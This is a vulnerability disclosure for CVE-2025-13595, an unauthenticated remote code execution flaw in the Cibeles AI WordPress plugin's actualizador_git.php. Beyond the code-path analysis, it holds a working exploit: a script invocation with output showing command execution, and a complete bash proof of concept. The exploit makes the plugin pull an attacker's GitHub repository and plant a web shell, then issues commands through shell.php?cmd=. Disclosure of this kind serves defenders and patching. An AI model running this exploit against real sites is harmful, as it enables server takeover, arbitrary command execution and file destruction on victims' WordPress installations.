CVE-2025-13595
Summary
The Cibeles AI WordPress plugin versions 1.10.8 and below contain an unauthenticated remote code execution vulnerability in the actualizador_git.php file. This file is directly accessible via HTTP without any authentication or authorization checks, allowing unauthenticated attackers to download arbitrary GitHub repositories and overwrite plugin files, leading to remote code execution.
TL;DR Exploits
A CVE-2025-13595.py is provided to demonstrate a remote attacker uploading shell.php and executing remote code:
python3 CVE-2025-13595.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEY -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/cibeles-ai
[*] Exploit executed. Checking if shell.php was created...
[*] Testing shell access...
www-data
[*] Shell should be accessible at:
http://techcorp.cc/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND
Technical Analysis
The vulnerability exists in /wp-content/plugins/cibeles-ai/actualizador_git.php. This file implements a GitHub repository mirroring system that can be accessed directly via HTTP without any security controls.
Code Path Analysis
-
Direct File Access (Line 1-17): The file lacks the standard WordPress ABSPATH check (
if (!defined('ABSPATH')) exit;) that prevents direct HTTP access. Parameters are read directly from$_GETwithout validation:$OWNER = $_GET['owner'] ?? 'cibeles'; $REPO = $_GET['repo'] ?? 'svn_cibeles-ai'; $REF = $_GET['ref'] ?? 'main'; $TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT'; -
Token Validation (Line 26): The only validation checks if the token is empty or the default value. No authentication or authorization is performed:
if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') { http_response_code(400); exit("Falta token\n"); } -
GitHub API Request (Line 31, 35-58): The script downloads a ZIP file from GitHub’s API using user-controlled parameters:
$apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF); curl_download($apiUrl, $zip, $TOKEN);The
curl_download()function sends the token in the Authorization header but performs no validation of the repository owner or contents. -
ZIP Extraction and File Operations (Line 133-158): The downloaded ZIP is extracted and files are copied directly to the plugin directory:
$zipArc->extractTo($extractDir); $rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0]; rrcopy_into($rootInsideZip, $cwd);The
rrcopy_into()function recursively copies all files from the extracted repository to the current working directory (plugin directory), overwriting existing files. -
File Deletion (Line 152-154): Files not present in the downloaded repository are deleted:
mirror_delete_extras($cwd, $keepSet, $PRESERVE);The
mirror_delete_extras()function deletes any files in the plugin directory that don’t exist in the repository manifest.
Proof of Concept
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"
COMMAND="whoami"
echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"
echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""
echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=${COMMAND}"
echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo " ${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND"